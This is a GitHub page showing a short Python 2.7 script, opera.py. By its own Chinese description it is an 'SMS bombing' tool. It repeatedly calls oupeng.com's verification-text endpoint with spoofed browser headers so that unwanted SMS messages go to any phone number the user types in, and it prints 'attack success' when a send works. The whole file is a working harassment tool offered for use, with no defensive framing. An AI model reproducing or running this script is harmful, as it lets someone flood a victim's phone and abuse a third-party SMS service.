forked from iloster/PythonScripts
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathopera.py
More file actions
33 lines (28 loc) · 1.07 KB
/
opera.py
File metadata and controls
33 lines (28 loc) · 1.07 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# -*- coding: utf-8 -*-
#-------------------------------------
# python2.7
# author:loster
# version:0.1
# description:向http://www.oupeng.com网站get数据,给任意手机号码发送验证短信,进行短信轰炸
# 但是每天对同一手机号有条数限制
#---------------------------------
import httplib,urllib,sys,os,re,urllib2
import string
def attack(phone):
datas=""
url='http://www.oupeng.com/sms/sendsms.php?os=s60&mobile=%s' % phone
i_headers = {"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5",
"Accept": "text/plain",'Referer':'http://www.oupeng.com/download'}
#payload=urllib.urlencode(payload)
try:
request=urllib2.Request(url=url,headers=i_headers)
response=urllib2.urlopen(request)
datas=response.read()
print datas
print 'attack success!!!'
except Exception, e:
print e
print "attack failed!!!"
if __name__=="__main__":
phone=raw_input('input the phone:')
attack(phone)